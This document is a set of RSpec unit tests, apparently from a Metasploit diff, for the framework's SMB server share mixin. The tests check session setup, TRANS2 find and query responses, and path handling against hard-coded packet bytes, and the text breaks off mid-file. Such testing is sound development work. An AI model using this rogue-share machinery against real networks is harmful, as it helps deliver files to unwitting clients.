# -*- coding:binary -*-
|
||||
require 'spec_helper'
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/exploit/smb/server/share'
|
||||
require 'rex/proto/smb/constants'
|
||||
|
||||
describe Msf::Exploit::Remote::SMB::Server::Share do
|
||||
|
||||
subject(:mod) do
|
||||
mod = Msf::Exploit.new
|
||||
mod.extend described_class
|
||||
mod.send(:initialize)
|
||||
|
||||
mod
|
||||
end
|
||||
|
||||
let(:client_string) { '' }
|
||||
let(:client) { StringIO.new(client_string) }
|
||||
|
||||
let(:default_response_length) { 45 }
|
||||
let(:default_response) do
|
||||
"\x00\x00\x00\x29\xff\x53\x4d\x42\x73\x00\x00\x00\x00\x88\x01\xc8" +
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x48\x47" +
|
||||
"\x00\x00\x44\x43\x03\xff\x00\x00\x00\x00\x00\x00\x00"
|
||||
end
|
||||
|
||||
let(:default_tree_connect_response_length) { 62 }
|
||||
let(:default_tree_connect_response) do
|
||||
"\x00\x00\x00\x3a\xff\x53\x4d\x42\x73\x00\x00\x00\x00\x88\x01\xc8" +
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x48\x47" +
|
||||
"\x00\x00\x44\x43\x03\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
||||
end
|
||||
|
||||
let(:valid_request) do
|
||||
"\x00\x00\x00\xf6\xff\x53\x4d\x42\x73\x00\x00\x00\x00\x18\x07\xc8" +
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xfe" +
|
||||
"\x00\x00\x00\xb4\x0d\x75\x00\x6a\x00\x04\x11\x32\x00\x01\x00\x00" +
|
||||
"\x00\x00\x00\x01\x00\x01\x00\x00\x00\x00\x00\xd4\x00\x00\x00\x2d" +
|
||||
"\x00\x00\x00\x00\x41\x00\x64\x00\x6d\x00\x69\x00\x6e\x00\x69\x00" +
|
||||
"\x73\x00\x74\x00\x72\x00\x61\x00\x74\x00\x6f\x00\x72\x00\x00\x00" +
|
||||
"\x44\x00\x45\x00\x4d\x00\x4f\x00\x00\x00\x00\x00\x00\x00\x04\xff" +
|
||||
"\x00\xf6\x00\x08\x00\x50\x00\x81\x00\xd5\xd0\x4b\x3f\xa4\xd7\x53" +
|
||||
"\xa4\x03\x65\xe4\x9c\x00\x68\xfb\xb5\x01\x01\x00\x00\x00\x00\x00" +
|
||||
"\x00\x6b\xf3\xdc\xf0\xd5\x4f\xd0\x01\x48\x51\x81\xa6\x07\x5b\x97" +
|
||||
"\xe6\x00\x00\x00\x00\x02\x00\x18\x00\x31\x00\x37\x00\x32\x00\x2e" +
|
||||
"\x00\x31\x00\x36\x00\x2e\x00\x31\x00\x35\x00\x38\x00\x2e\x00\x31" +
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x5c\x00\x5c\x00\x31\x00" +
|
||||
"\x37\x00\x32\x00\x2e\x00\x31\x00\x36\x00\x2e\x00\x31\x00\x35\x00" +
|
||||
"\x38\x00\x2e\x00\x31\x00\x5c\x00\x4e\x00\x52\x00\x42\x00\x4a\x00" +
|
||||
"\x55\x00\x00\x00\x3f\x3f\x3f\x3f\x3f\x00"
|
||||
end
|
||||
let(:valid_response) do
|
||||
"\x00\x00\x00\x7e\xff\x53\x4d\x42\x73\x00\x00\x00\x00\x88\x01\xc8" +
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x48\x47" +
|
||||
"\x00\x00\x44\x43\x03\x75\x00\x60\x00\x01\x00\x37\x00\x00\x55\x00" +
|
||||
"\x6e\x00\x69\x00\x78\x00\x00\x00\x53\x00\x61\x00\x6d\x00\x62\x00" +
|
||||
"\x61\x00\x20\x00\x33\x00\x2e\x00\x34\x00\x2e\x00\x37\x00\x00\x00" +
|
||||
"\x57\x00\x4f\x00\x52\x00\x4b\x00\x47\x00\x52\x00\x4f\x00\x55\x00" +
|
||||
"\x50\x00\x00\x00\x07\xff\x00\x00\x00\x01\x00\xa9\x00\x12\x00\x00" +
|
||||
"\x00\x00\x00\x0d\x00\x41\x3a\x00\x4e\x00\x54\x00\x46\x00\x53\x00" +
|
||||
"\x00\x00"
|
||||
end
|
||||
let(:valid_response_length) { 130 }
|
||||
|
||||
let(:opts) { {} }
|
||||
|
||||
before(:each) do
|
||||
mod.instance_variable_set('@state', {
|
||||
client => {
|
||||
:multiplex_id => 0x41424344,
|
||||
:process_id => 0x45464748,
|
||||
:file_id => 0xdead,
|
||||
:dir_id => 0xbeef
|
||||
}
|
||||
})
|
||||
mod.lo = 0
|
||||
mod.hi = 0
|
||||
mod.share = 'test'
|
||||
mod.path_name = "\\"
|
||||
mod.file_name = 'false.exe'
|
||||
mod.file_contents = 'metasploit'
|
||||
|
||||
allow_any_instance_of(::StringIO).to receive(:put) do |io, data|
|
||||
io.write(data)
|
||||
end
|
||||
end
|
||||
|
||||
describe "#send_session_setup_andx_res" do
|
||||
context "when no extra command" do
|
||||
it "returns the number of bytes sent" do
|
||||
expect(mod.send_session_setup_andx_res(client)).to eq(default_response_length)
|
||||
end
|
||||
|
||||
it "sends a valid SMB_COM_SESSION_SETUP_ANDX response to the client" do
|
||||
mod.send_session_setup_andx_res(client)
|
||||
client.seek(0)
|
||||
res = client.read
|
||||
expect(res).to eq(default_response)
|
||||
end
|
||||
end
|
||||
|
||||
context "when extra SMB_COM_TREE_CONNECT_ANDX command" do
|
||||
before(:each) do
|
||||
tree_connect_response = Rex::Proto::SMB::Constants::SMB_TREE_CONN_ANDX_RES_PKT.make_struct
|
||||
opts[:andx_command] = tree_connect_response
|
||||
end
|
||||
|
||||
it "returns the number of bytes sent" do
|
||||
expect(mod.send_session_setup_andx_res(client, opts)).to eq(default_tree_connect_response_length)
|
||||
end
|
||||
|
||||
it "sends a valid SMB_COM_SESSION_SETUP_ANDX response to the client" do
|
||||
mod.send_session_setup_andx_res(client, opts)
|
||||
client.seek(0)
|
||||
res = client.read
|
||||
expect(res).to eq(default_tree_connect_response)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
describe "#smb_cmd_session_setup_andx" do
|
||||
it "returns the number of bytes answered" do
|
||||
expect(mod.smb_cmd_session_setup_andx(client, valid_request)).to eq(valid_response_length)
|
||||
end
|
||||
|
||||
it "sends a valid SMB_COM_SESSION_SETUP_ANDX response to the client" do
|
||||
mod.smb_cmd_session_setup_andx(client, valid_request)
|
||||
client.seek(0)
|
||||
res = client.read
|
||||
expect(res).to eq(valid_response)
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
|
|
@ -0,0 +1,76 @@
|
|||
# -*- coding:binary -*-
|
||||
require 'spec_helper'
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/exploit/smb/server/share'
|
||||
require 'rex/proto/smb/constants'
|
||||
|
||||
describe Msf::Exploit::Remote::SMB::Server::Share do
|
||||
|
||||
subject(:mod) do
|
||||
mod = Msf::Exploit.new
|
||||
mod.extend described_class
|
||||
mod.send(:initialize)
|
||||
|
||||
mod
|
||||
end
|
||||
|
||||
let(:client_string) { '' }
|
||||
let(:client) { StringIO.new(client_string) }
|
||||
|
||||
let(:valid_find_file_both_directory_info_params) do
|
||||
"\x16\x00\x56\x05\x07\x00\x04\x01\x00\x00\x00\x00\x5c\x00\x74\x00" +
|
||||
"\x65\x00\x73\x00\x74\x00\x2e\x00\x65\x00\x78\x00\x65\x00\x00\x00"
|
||||
end
|
||||
let(:find_file_both_directory_info_res_length) { 179 }
|
||||
|
||||
before(:each) do
|
||||
mod.instance_variable_set('@state', {
|
||||
client => {
|
||||
:multiplex_id => 0x41424344,
|
||||
:process_id => 0x45464748,
|
||||
:file_id => 0xdead,
|
||||
:dir_id => 0xbeef
|
||||
}
|
||||
})
|
||||
mod.lo = 0
|
||||
mod.hi = 0
|
||||
mod.share = 'test'
|
||||
mod.path_name = "\\"
|
||||
mod.file_name = 'test.exe'
|
||||
mod.file_contents = 'metasploit'
|
||||
|
||||
allow_any_instance_of(::StringIO).to receive(:put) do |io, data|
|
||||
io.write(data)
|
||||
end
|
||||
end
|
||||
|
||||
describe "#smb_cmd_trans2_find_first2" do
|
||||
|
||||
context "when valid SMB_FIND_FILE_BOTH_DIRECTORY_INFO parameters" do
|
||||
it "returns the number of bytes answered" do
|
||||
expect(mod.smb_cmd_trans2_find_first2(client, valid_find_file_both_directory_info_params)).to eq(find_file_both_directory_info_res_length)
|
||||
end
|
||||
|
||||
it "send TRANSACTIONS2 response with the file name found in the SMB_Data" do
|
||||
mod.smb_cmd_trans2_find_first2(client, valid_find_file_both_directory_info_params)
|
||||
client.seek(0)
|
||||
res = client.read
|
||||
|
||||
trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct
|
||||
trans2_res.from_s(res)
|
||||
param_count = trans2_res['Payload'].v['ParamCount']
|
||||
data_count = trans2_res['Payload'].v['DataCount']
|
||||
|
||||
data = trans2_res['Payload'].v['SetupData'][2 + param_count, data_count]
|
||||
smb_data = Rex::Proto::SMB::Constants::SMB_FIND_FILE_BOTH_DIRECTORY_INFO_HDR.make_struct
|
||||
smb_data.from_s(data)
|
||||
|
||||
expect(smb_data.v['FileName']).to eq(Rex::Text.to_unicode(mod.file_name))
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
|
|
@ -0,0 +1,75 @@
|
|||
# -*- coding:binary -*-
|
||||
require 'spec_helper'
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/exploit/smb/server/share'
|
||||
require 'rex/proto/smb/constants'
|
||||
|
||||
describe Msf::Exploit::Remote::SMB::Server::Share do
|
||||
|
||||
subject(:mod) do
|
||||
mod = Msf::Exploit.new
|
||||
mod.extend described_class
|
||||
mod.send(:initialize)
|
||||
|
||||
mod
|
||||
end
|
||||
|
||||
let(:client_string) { '' }
|
||||
let(:client) { StringIO.new(client_string) }
|
||||
|
||||
let(:valid_query_file_standard_info_params) do
|
||||
"\xad\xde\xed\x03"
|
||||
end
|
||||
let(:query_file_standard_info_res_length) { 83 }
|
||||
|
||||
before(:each) do
|
||||
mod.instance_variable_set('@state', {
|
||||
client => {
|
||||
:multiplex_id => 0x41424344,
|
||||
:process_id => 0x45464748,
|
||||
:file_id => 0xdead,
|
||||
:dir_id => 0xbeef
|
||||
}
|
||||
})
|
||||
mod.lo = 0
|
||||
mod.hi = 0
|
||||
mod.share = 'test'
|
||||
mod.path_name = "\\"
|
||||
mod.file_name = 'test.exe'
|
||||
mod.file_contents = 'metasploit'
|
||||
|
||||
allow_any_instance_of(::StringIO).to receive(:put) do |io, data|
|
||||
io.write(data)
|
||||
end
|
||||
end
|
||||
|
||||
describe "#smb_cmd_trans2_query_file_information" do
|
||||
|
||||
context "when valid SMB_QUERY_FILE_STANDARD_INFO parameters" do
|
||||
it "returns the number of bytes answered" do
|
||||
expect(mod.smb_cmd_trans2_query_file_information(client, valid_query_file_standard_info_params)).to eq(query_file_standard_info_res_length)
|
||||
end
|
||||
|
||||
it "send SMB_QUERY_FILE_STANDARD_INFO response with the file size" do
|
||||
mod.smb_cmd_trans2_query_file_information(client, valid_query_file_standard_info_params)
|
||||
client.seek(0)
|
||||
res = client.read
|
||||
|
||||
trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct
|
||||
trans2_res.from_s(res)
|
||||
param_count = trans2_res['Payload'].v['ParamCount']
|
||||
data_count = trans2_res['Payload'].v['DataCount']
|
||||
|
||||
data = trans2_res['Payload'].v['SetupData'][2 + param_count, data_count]
|
||||
smb_data = Rex::Proto::SMB::Constants::SMB_QUERY_FILE_STANDARD_INFO_HDR.make_struct
|
||||
smb_data.from_s(data)
|
||||
|
||||
expect(smb_data.v['EndOfFile']).to eq(mod.file_contents.length)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
|
|
@ -0,0 +1,128 @@
|
|||
# -*- coding:binary -*-
|
||||
require 'spec_helper'
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/exploit/smb/server/share'
|
||||
require 'rex/proto/smb/constants'
|
||||
|
||||
describe Msf::Exploit::Remote::SMB::Server::Share do
|
||||
|
||||
subject(:mod) do
|
||||
mod = Msf::Exploit.new
|
||||
mod.extend described_class
|
||||
mod.send(:initialize)
|
||||
|
||||
mod
|
||||
end
|
||||
|
||||
let(:client_string) { '' }
|
||||
let(:client) { StringIO.new(client_string) }
|
||||
|
||||
let(:valid_query_path_standard_info_params) do
|
||||
"\xed\x03\x00\x00\x00\x00\x5c\x00\x74\x00\x65\x00\x73\x00\x74\x00" +
|
||||
"\x2e\x00\x65\x00\x78\x00\x65\x00\x00\x00"
|
||||
end
|
||||
let(:query_path_standard_info_res_length) { 83 }
|
||||
|
||||
let(:valid_query_path_basic_info_params) do
|
||||
"\xec\x03\x00\x00\x00\x00\x5c\x00\x74\x00\x65\x00\x73\x00\x74\x00" +
|
||||
"\x2e\x00\x65\x00\x78\x00\x65\x00\x00\x00"
|
||||
end
|
||||
let(:query_path_basic_info_res_length) { 101 }
|
||||
|
||||
let(:non_existent_query_path_basic_info_params) do
|
||||
"\xec\x03\x00\x00\x00\x00\x5c\x00\x74\x00\x65\x00\x73\x00\x74\x00" +
|
||||
"\x2e\x00\x65\x00\x78\x00\x61\x00\x00\x00"
|
||||
end
|
||||
let(:not_found_res_length) { 39 }
|
||||
|
||||
before(:each) do
|
||||
mod.instance_variable_set('@state', {
|
||||
client => {
|
||||
:multiplex_id => 0x41424344,
|
||||
:process_id => 0x45464748,
|
||||
:file_id => 0xdead,
|
||||
:dir_id => 0xbeef
|
||||
}
|
||||
})
|
||||
mod.lo = 0
|
||||
mod.hi = 0
|
||||
mod.share = 'test'
|
||||
mod.path_name = "\\"
|
||||
mod.file_name = 'test.exe'
|
||||
mod.file_contents = 'metasploit'
|
||||
|
||||
allow_any_instance_of(::StringIO).to receive(:put) do |io, data|
|
||||
io.write(data)
|
||||
end
|
||||
end
|
||||
|
||||
describe "#smb_cmd_trans2_query_path_information" do
|
||||
|
||||
context "when valid SMB_QUERY_PATH_STANDARD_INFO parameters" do
|
||||
it "returns the number of bytes answered" do
|
||||
expect(mod.smb_cmd_trans2_query_path_information(client, valid_query_path_standard_info_params)).to eq(query_path_standard_info_res_length)
|
||||
end
|
||||
|
||||
it "send SMB_QUERY_PATH_STANDARD_INFO response with the file size" do
|
||||
mod.smb_cmd_trans2_query_path_information(client, valid_query_path_standard_info_params)
|
||||
client.seek(0)
|
||||
res = client.read
|
||||
|
||||
trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct
|
||||
trans2_res.from_s(res)
|
||||
param_count = trans2_res['Payload'].v['ParamCount']
|
||||
data_count = trans2_res['Payload'].v['DataCount']
|
||||
|
||||
data = trans2_res['Payload'].v['SetupData'][2 + param_count, data_count]
|
||||
smb_data = Rex::Proto::SMB::Constants::SMB_QUERY_FILE_STANDARD_INFO_HDR.make_struct
|
||||
smb_data.from_s(data)
|
||||
|
||||
expect(smb_data.v['EndOfFile']).to eq(mod.file_contents.length)
|
||||
end
|
||||
end
|
||||
|
||||
context "when valid SMB_QUERY_PATH_BASIC_INFO parameters" do
|
||||
it "returns the number of bytes answered" do
|
||||
expect(mod.smb_cmd_trans2_query_path_information(client, valid_query_path_basic_info_params)).to eq(query_path_basic_info_res_length)
|
||||
end
|
||||
|
||||
it "send SMB_QUERY_PATH_BASIC_INFO response with the file attributes" do
|
||||
mod.smb_cmd_trans2_query_path_information(client, valid_query_path_basic_info_params)
|
||||
client.seek(0)
|
||||
res = client.read
|
||||
|
||||
trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct
|
||||
trans2_res.from_s(res)
|
||||
param_count = trans2_res['Payload'].v['ParamCount']
|
||||
data_count = trans2_res['Payload'].v['DataCount']
|
||||
|
||||
data = trans2_res['Payload'].v['SetupData'][2 + param_count, data_count]
|
||||
smb_data = Rex::Proto::SMB::Constants::SMB_QUERY_FILE_BASIC_INFO_HDR.make_struct
|
||||
smb_data.from_s(data)
|
||||
|
||||
expect(smb_data.v['ExtFileAttributes']).to eq(0x80)
|
||||
end
|
||||
end
|
||||
|
||||
context "when non existent file SMB_QUERY_PATH_BASIC_INFO parameters" do
|
||||
it "returns the number of bytes answered" do
|
||||
expect(mod.smb_cmd_trans2_query_path_information(client, non_existent_query_path_basic_info_params)).to eq(not_found_res_length)
|
||||
end
|
||||
|
||||
it "send TRANS2 response with error" do
|
||||
mod.smb_cmd_trans2_query_path_information(client, non_existent_query_path_basic_info_params)
|
||||
client.seek(0)
|
||||
res = client.read
|
||||
|
||||
trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct
|
||||
trans2_res.from_s(res)
|
||||
|
||||
expect(trans2_res['Payload']['SMB'].v['ErrorClass']).to eq(Rex::Proto::SMB::Constants::SMB_STATUS_OBJECT_NAME_NOT_FOUND)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
|
|
@ -0,0 +1,219 @@
|
|||
# -*- coding:binary -*-
|
||||
require 'spec_helper'
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/exploit/smb/server/share'
|
||||
require 'rex/proto/smb/constants'
|
||||
|
||||
describe Msf::Exploit::Remote::SMB::Server::Share do
|
||||
|
||||
subject(:mod) do
|
||||
mod = Msf::Exploit.new
|
||||
mod.extend described_class
|
||||
mod.send(:initialize)
|
||||
|
||||
mod
|
||||
end
|
||||
|
||||
let(:client_string) { '' }
|
||||
let(:client) { StringIO.new(client_string) }
|
||||
|
||||
let(:unicode_path) { "\x5c\x00\x74\x00\x65\x00\x73\x00\x74\x00\x2e\x00\x65\x00\x78\x00\x65\x00\x00\x00" }
|
||||
let(:normalized_path) { '\\test.exe' }
|
||||
let(:ascii_path) { 'test.exe' }
|
||||
let(:broken_path) { 'ts.x' }
|
||||
let(:wildcard_filename) { '\\*.exe' }
|
||||
let(:wildcard_ext) { '\\test.*' }
|
||||
let(:alternate_wildcard_filename) { '\\<.exe' }
|
||||
|
||||
let(:valid_find_first2) do
|
||||
"\x00\x00\x00\x64\xff\x53\x4d\x42\x32\x00\x00\x00\x00\x18\x07\xc8" +
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x0b" +
|
||||
"\x00\x00\x40\xb5\x0f\x20\x00\x00\x00\x0a\x00\x00\x40\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x20\x00\x44\x00\x00\x00\x00\x00\x01" +
|
||||
"\x00\x01\x00\x23\x00\x00\x00\x00\x16\x00\x56\x05\x07\x00\x04\x01" +
|
||||
"\x00\x00\x00\x00\x5c\x00\x74\x00\x65\x00\x73\x00\x74\x00\x2e\x00" +
|
||||
"\x65\x00\x78\x00\x65\x00\x00\x00"
|
||||
end
|
||||
let(:find_first2_res_length) { 179 }
|
||||
let(:find_first2_res_data_length) { 110 }
|
||||
let(:find_first2_res_params_length) { 10 }
|
||||
|
||||
let(:valid_query_file_info) do
|
||||
"\x00\x00\x00\x48\xff\x53\x4d\x42\x32\x00\x00\x00\x00\x18\x07\xc8" +
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x0b" +
|
||||
"\x00\x00\xc0\xb5\x0f\x04\x00\x00\x00\x02\x00\x18\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x04\x00\x44\x00\x00\x00\x00\x00\x01" +
|
||||
"\x00\x07\x00\x07\x00\x00\x00\x00\xad\xde\xed\x03"
|
||||
end
|
||||
let(:query_file_info_res_length) { 83 }
|
||||
let(:query_file_info_res_data_length) { 22 }
|
||||
let(:query_file_info_params_length) { 2 }
|
||||
|
||||
let(:valid_query_path_info) do
|
||||
"\x00\x00\x00\x5e\xff\x53\x4d\x42\x32\x00\x00\x00\x00\x18\x07\xc8" +
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x0b" +
|
||||
"\x00\x00\x40\xb4\x0f\x1a\x00\x00\x00\x02\x00\x28\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x1a\x00\x44\x00\x00\x00\x00\x00\x01" +
|
||||
"\x00\x05\x00\x1d\x00\x00\x00\x00\xec\x03\x00\x00\x00\x00\x5c\x00" +
|
||||
"\x74\x00\x65\x00\x73\x00\x74\x00\x2e\x00\x65\x00\x78\x00\x65\x00" +
|
||||
"\x00\x00"
|
||||
end
|
||||
let(:query_path_info_res_length) { 101 }
|
||||
let(:query_path_info_res_data_length) { 40 }
|
||||
let(:query_path_info_params_length) { 2 }
|
||||
|
||||
let(:empty_query) { "\x00\x00\x00\x00" }
|
||||
let(:empty_query_res_length) { 39 }
|
||||
|
||||
before(:each) do
|
||||
mod.instance_variable_set('@state', {
|
||||
client => {
|
||||
:multiplex_id => 0x41424344,
|
||||
:process_id => 0x45464748,
|
||||
:file_id => 0xdead,
|
||||
:dir_id => 0xbeef
|
||||
}
|
||||
})
|
||||
mod.lo = 0
|
||||
mod.hi = 0
|
||||
mod.share = 'test'
|
||||
mod.path_name = "\\"
|
||||
mod.file_name = 'test.exe'
|
||||
mod.file_contents = 'metasploit'
|
||||
|
||||
allow_any_instance_of(::StringIO).to receive(:put) do |io, data|
|
||||
io.write(data)
|
||||
end
|
||||
end
|
||||
|
||||
describe "#normalize_path" do
|
||||
context "when unicode path" do
|
||||
it "returns the normalized path" do
|
||||
expect(mod.normalize_path(unicode_path)).to eq(normalized_path)
|
||||
end
|
||||
end
|
||||
|
||||
context "when ascii path" do
|
||||
it "returns a broken path" do
|
||||
expect(mod.normalize_path(ascii_path)).to eq(broken_path)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
describe "#smb_expand" do
|
||||
context "when * wildcard" do
|
||||
it "expands the filename" do
|
||||
expect(mod.smb_expand(wildcard_filename)).to eq(normalized_path)
|
||||
end
|
||||
|
||||
it "doesn't expand the extension" do
|
||||
expect(mod.smb_expand(wildcard_ext)).to eq('\\test.*')
|
||||
end
|
||||
end
|
||||
|
||||
context "when < wildcard" do
|
||||
it "expands the filename" do
|
||||
expect(mod.smb_expand(alternate_wildcard_filename)).to eq(normalized_path)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
describe "#smb_cmd_trans2" do
|
||||
context "when valid FIND_FIRST2 subcommand request" do
|
||||
it "returns the number of bytes answered" do
|
||||
expect(mod.smb_cmd_trans2(client, valid_find_first2)).to eq(find_first2_res_length)
|
||||
end
|
||||
|
||||
it "sends a FIND_FIRST2 response with parameters" do
|
||||
mod.smb_cmd_trans2(client, valid_find_first2)
|
||||
client.seek(0)
|
||||
res = client.read
|
||||
trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct
|
||||
trans2_res.from_s(res)
|
||||
|
||||
expect(trans2_res['Payload'].v['ParamCount']).to eq(find_first2_res_params_length)
|
||||
end
|
||||
|
||||
it "sends a FIND_FIRST2 response with data" do
|
||||
mod.smb_cmd_trans2(client, valid_find_first2)
|
||||
client.seek(0)
|
||||
res = client.read
|
||||
trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct
|
||||
trans2_res.from_s(res)
|
||||
|
||||
expect(trans2_res['Payload'].v['DataCount']).to eq(find_first2_res_data_length)
|
||||
end
|
||||
end
|
||||
|
||||
context "when valid QUERY_FILE_INFO subcommand request" do
|
||||
it "returns the number of bytes answered" do
|
||||
expect(mod.smb_cmd_trans2(client, valid_query_file_info)).to eq(query_file_info_res_length)
|
||||
end
|
||||
|
||||
it "sends a QUERY_FILE_INFO response with parameters" do
|
||||
mod.smb_cmd_trans2(client, valid_query_file_info)
|
||||
client.seek(0)
|
||||
res = client.read
|
||||
trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct
|
||||
trans2_res.from_s(res)
|
||||
|
||||
expect(trans2_res['Payload'].v['ParamCount']).to eq(query_file_info_params_length)
|
||||
end
|
||||
|
||||
it "sends a QUERY_FILE_INFO response with data" do
|
||||
mod.smb_cmd_trans2(client, valid_query_file_info)
|
||||
client.seek(0)
|
||||
res = client.read
|
||||
trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct
|
||||
trans2_res.from_s(res)
|
||||
|
||||
expect(trans2_res['Payload'].v['DataCount']).to eq(query_file_info_res_data_length)
|
||||
end
|
||||
end
|
||||
|
||||
context "when valid QUERY_PATH_INFO subcommand request" do
|
||||
it "returns the number of bytes answered" do
|
||||
expect(mod.smb_cmd_trans2(client, valid_query_path_info)).to eq(query_path_info_res_length)
|
||||
end
|
||||
|
||||
it "sends a QUERY_PATH_INFO response with parameters" do
|
||||
mod.smb_cmd_trans2(client, valid_query_path_info)
|
||||
client.seek(0)
|
||||
res = client.read
|
||||
trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct
|
||||
trans2_res.from_s(res)
|
||||
|
||||
expect(trans2_res['Payload'].v['ParamCount']).to eq(query_path_info_params_length)
|
||||
end
|
||||
|
||||
it "sends a QUERY_PATH_INFO response with data" do
|
||||
mod.smb_cmd_trans2(client, valid_query_path_info)
|
||||
client.seek(0)
|
||||
res = client.read
|
||||
trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct
|
||||
trans2_res.from_s(res)
|
||||
|
||||
expect(trans2_res['Payload'].v['DataCount']).to eq(query_path_info_res_data_length)
|
||||
end
|
||||
end
|
||||
|
||||
context "when empty request" do
|
||||
it "returns the number of bytes answered" do
|
||||
expect(mod.smb_cmd_trans2(client, empty_query)).to eq(empty_query_res_length)
|
||||
end
|
||||
|
||||
it "sends an SMB_NT_STATUS_NOT_FOUND error to the client" do
|
||||
mod.smb_cmd_trans2(client, empty_query)
|
||||
client.seek(0)
|
||||
res = client.read
|
||||
trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct
|
||||
trans2_res.from_s(res)
|
||||
|
||||
expect(trans2_res['Payload']['SMB'].v['ErrorClass']).to eq(Rex::Proto::SMB::Constants::SMB_NT_STATUS_NOT_FOUND)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
|
@ -0,0 +1,337 @@
|
|||
# -*- coding:binary -*-
|
||||
require 'spec_helper'
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/exploit/smb/server/share'
|
||||
require 'rex/proto/smb/constants'
|
||||
|
||||
describe Msf::Exploit::Remote::SMB::Server::Share do
|
||||
|
||||
subject(:mod) do
|
||||
mod = Msf::Exploit.new
|
||||
mod.extend described_class
|
||||
mod.send(:initialize)
|
||||
|
||||
mod
|
||||
end
|
||||
|
||||
let(:client_string) { '' }
|
||||
let(:client) { StringIO.new(client_string) }
|
||||
|
||||
let(:default_find_file_both_directory_info_res_length) { 163 }
|
||||
let(:default_find_file_both_directory_info_res) do
|
||||
"\x00\x00\x00\x9f\xff\x53\x4d\x42\x32\x00\x00\x00\x00\x88\x01\xc8" +
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x48\x47" +
|
||||
"\x00\x00\x44\x43\x0a\x0a\x00\x5e\x00\x00\x00\x0a\x00\x37\x00\x00" +
|
||||
"\x00\x5e\x00\x41\x00\x00\x00\x00\x00\x68\x00\xfd\xff\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00\x00\x5e\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00"
|
||||
end
|
||||
|
||||
let(:default_find_file_names_info_res_length) { 81 }
|
||||
let(:default_find_file_names_info_res) do
|
||||
"\x00\x00\x00\x4d\xff\x53\x4d\x42\x32\x00\x00\x00\x00\x88\x01\xc8" +
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x48\x47" +
|
||||
"\x00\x00\x44\x43\x0a\x0a\x00\x0c\x00\x00\x00\x0a\x00\x37\x00\x00" +
|
||||
"\x00\x0c\x00\x41\x00\x00\x00\x00\x00\x16\x00\xfd\xff\x01\x00\x01" +
|
||||
"\x00\x00\x00\x00\x00\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
|
||||
"\x00"
|
||||
end
|
||||
|
||||
let(:default_find_full_directory_info_res_length) { 137 }
|
||||
let(:default_find_full_directory_info_res) do
|
||||
"\x00\x00\x00\x85\xff\x53\x4d\x42\x32\x00\x00\x00\x00\x88\x01\xc8" +
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x48\x47" +
|
||||
"\x00\x00\x44\x43\x0a\x0a\x00\x44\x00\x00\x00\x0a\x00\x37\x00\x00" +
|
||||
